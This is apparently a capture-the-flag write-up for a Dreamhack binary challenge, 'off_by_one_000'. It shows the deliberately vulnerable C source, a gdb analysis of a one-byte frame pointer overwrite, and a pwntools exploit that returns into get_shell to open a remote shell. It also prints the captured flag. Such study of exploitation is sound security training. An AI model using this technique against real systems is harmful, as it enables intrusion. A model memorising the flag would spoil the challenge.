off_by_one_000
Enumeration
System information is as follows.
Ubuntu 16.04
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Reading the source code reveals its mechanics.
- Reads from standard input and save it to
cp_name
. - Copy a string from
cp_name
toreal_name
.
┌──(m0nk3y@kali)-[~/DH/off_by_one_000]
└─$ cat off_by_one_000.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char cp_name[256];
void get_shell()
{
system("/bin/sh");
}
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int cpy()
{
char real_name[256];
strcpy(real_name, cp_name);
return 0;
}
int main()
{
initialize();
printf("Name: ");
read(0, cp_name, sizeof(cp_name));
cpy();
printf("Name: %s", cp_name);
return 0;
}
Exploitation
Since the program reads sizeof(cp_name)
bytes instead of sizeof(cp_name)-1
, I’ll be able to overflow real_name
by 1 byte causing a FPO(Frame Pointer Overwrite). To confirm this speculation, I’ll disassemble the binary.
gdb-peda$ disas main
Dump of assembler code for function main:
0x08048670 <+0>: push ebp
0x08048671 <+1>: mov ebp,esp
0x08048673 <+3>: call 0x8048605 <initialize>
0x08048678 <+8>: push 0x8048751
0x0804867d <+13>: call 0x8048440 <printf@plt>
0x08048682 <+18>: add esp,0x4
0x08048685 <+21>: push 0x100
0x0804868a <+26>: push 0x804a060
0x0804868f <+31>: push 0x0
0x08048691 <+33>: call 0x8048430 <read@plt>
0x08048696 <+38>: add esp,0xc
0x08048699 <+41>: call 0x804864c <cpy>
0x0804869e <+46>: push 0x804a060
0x080486a3 <+51>: push 0x8048758
0x080486a8 <+56>: call 0x8048440 <printf@plt>
0x080486ad <+61>: add esp,0x8
0x080486b0 <+64>: mov eax,0x0
0x080486b5 <+69>: leave
0x080486b6 <+70>: ret
gdb-peda$ disas cpy
Dump of assembler code for function cpy:
0x0804864c <+0>: push ebp
0x0804864d <+1>: mov ebp,esp
0x0804864f <+3>: sub esp,0x100
0x08048655 <+9>: push 0x804a060
0x0804865a <+14>: lea eax,[ebp-0x100]
0x08048660 <+20>: push eax
0x08048661 <+21>: call 0x8048470 <strcpy@plt>
0x08048666 <+26>: add esp,0x8
0x08048669 <+29>: mov eax,0x0
0x0804866e <+34>: leave
0x0804866f <+35>: ret
By setting a break point and checking the memory, we can see that the LSB of EBP gets overwritten by a null byte, which triggers FPO.
gdb-peda$ b *cpy+34
Breakpoint 1 at 0x804866e
gdb-peda$ r
Starting program: /home/m0nk3y/DH/off_by_one_000/off_by_one_000
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x804a160 --> 0x0
EDX: 0xffffd100 (0xffffd100)
ESI: 0x1
EDI: 0x80484e0 (<_start>: xor ebp,ebp)
EBP: 0xffffd100 (0xffffd100)
ESP: 0xffffd000 ('A' <repeats 200 times>...)
EIP: 0x804866e (<cpy+34>: leave)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048661 <cpy+21>: call 0x8048470 <strcpy@plt>
0x8048666 <cpy+26>: add esp,0x8
0x8048669 <cpy+29>: mov eax,0x0
=> 0x804866e <cpy+34>: leave
0x804866f <cpy+35>: ret
0x8048670 <main>: push ebp
0x8048671 <main+1>: mov ebp,esp
0x8048673 <main+3>: call 0x8048605 <initialize>
[------------------------------------stack-------------------------------------]
0000| 0xffffd000 ('A' <repeats 200 times>...)
0004| 0xffffd004 ('A' <repeats 200 times>...)
0008| 0xffffd008 ('A' <repeats 200 times>...)
0012| 0xffffd00c ('A' <repeats 200 times>...)
0016| 0xffffd010 ('A' <repeats 200 times>...)
0020| 0xffffd014 ('A' <repeats 200 times>...)
0024| 0xffffd018 ('A' <repeats 200 times>...)
0028| 0xffffd01c ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0804866e in cpy ()
gdb-peda$ x/wx $ebp
0xffffd100: 0xffffd100
gdb-peda$ p $ebp-0x100
$1 = (void *) 0xffffd000
According to the calculation, FPO would lead to the execution of cp_name. However, cp_name is not executable, since nx bit is enabled. At this point, FPO was a dead end, but there didn’t seem to be much of a room for an attack.
0x0804866e <*cpy+34>: leave
mov esp, ebp
$esp= 0xffffd100
pop ebp
$ebp= *$esp= 0xffffd100
$esp= $esp+4= 0xffffd104
0x0804866f <*cpy+35>: ret
pop eip
$eip= *$esp= 0x0804869e
$esp= $esp+4= 0xffffd108
jmp eip
jmp 0x0804869e= jmp *main+46
0x0804869e <*main+46>: push 0x804a060
$esp= $esp-4= 0xffffd104
*$esp= *0xffffd104= 0x0804a060
0x080486a3 <*main+51>: push 0x8048758
$esp= $esp-4= 0xffffd100
*$esp= *0xffffd100= 0x08048758
0x0804866e <*main+34>: leave
mov esp, ebp
$esp= 0xffffd100
pop ebp
$ebp= *$esp= 0x08048758
$esp= $esp+4= 0xffffd104
0x0804866f <+35>: ret
pop eip
$eip= *$esp= 0x0804a060
$esp= $esp+4= 0xffffd108
jmp eip
jmp 0x0804a060= jmp cp_name
After spending hours trying to figure out other attack vectors, I’ve reached a conclusion that there is either something wrong with the challenge or it requires knowledge that I don’t yet know.
In order figure out which is which, I’ve read some writeups and found out that I was just extremely unlucky. Based on several writeups, address of SFP was all different but not one of them had it match itself when LSB was overwritten with a null byte.
For this writeup, let’s use addresses from one of the writeups.
real_name= 0xffffcfc0
$sfp= 0xffffd0c0
*$sfp= 0xffffd0c8
According to the new calculation, after successful FPO, the program would jump to the address specified by real_name+0x40
which is controlled by user input. As the address of SFP seems to be different for every writeup, we should assume that the real service would jump to *(real_name+n)
where n could be any integer between 0 to 252. In my case, n was 256, which made it impossible to solve.
0x0804866e <*cpy+34>: leave
mov esp, ebp
$esp= 0xffffd0c0
pop ebp
$ebp= *$esp= 0xffffd000
$esp= $esp+4= 0xffffd0c4
0x0804866f <*cpy+35>: ret
pop eip
$eip= *$esp= 0x0804869e
$esp= $esp+4= 0xffffd0c8
jmp eip
jmp 0x0804869e= jmp *main+46
0x0804866e <*main+34>: leave
mov esp, ebp
$esp= 0xffffd000= real_name+0x40
pop ebp
$ebp= *$esp= *(real_name+0x40)
$esp= $esp+4= real_name+0x44
0x0804866f <+35>: ret
pop eip
$eip= *$esp= *(real_name+0x44)
$esp= $esp+4= real_name+0x48
jmp eip
jmp *(real_name+0x44)
To gain a shell using a buffer overflow, I’ll find the address of the function get_shell
.
┌──(m0nk3y@kali)-[~/DH/off_by_one_000]
└─$ nm off_by_one_000 | grep get_shell
080485db T get_shell
Finally, with all the information gathered, I’ll write an exploit which will give me a shell.
┌──(m0nk3y@kali)-[~/DH/off_by_one_000]
└─$ cat exploit.py
import sys
from pwn import *
client= remote(sys.argv[1], int(sys.argv[2]))
payload= p32(0x080485db)*64
client.recv()
client.sendline(payload)
client.recv()
client.interactive()
By running the exploit, I’m able to gain a shell as the user off_by_one_000
.
┌──(m0nk3y@kali)-[~/DH/off_by_one_000]
└─$ python2 exploit.py host1.dreamhack.games 20485
[+] Opening connection to host1.dreamhack.games on port 20485: Done
[*] Switching to interactive mode
$ id
uid=1000(off_by_one_000) gid=1000(off_by_one_000) groups=1000(off_by_one_000)
Post Exploitation
With the shell acquired, I’m able to read the flag.
$ cat flag
DH{fef043d0dbe030d01756c23b78a660ae}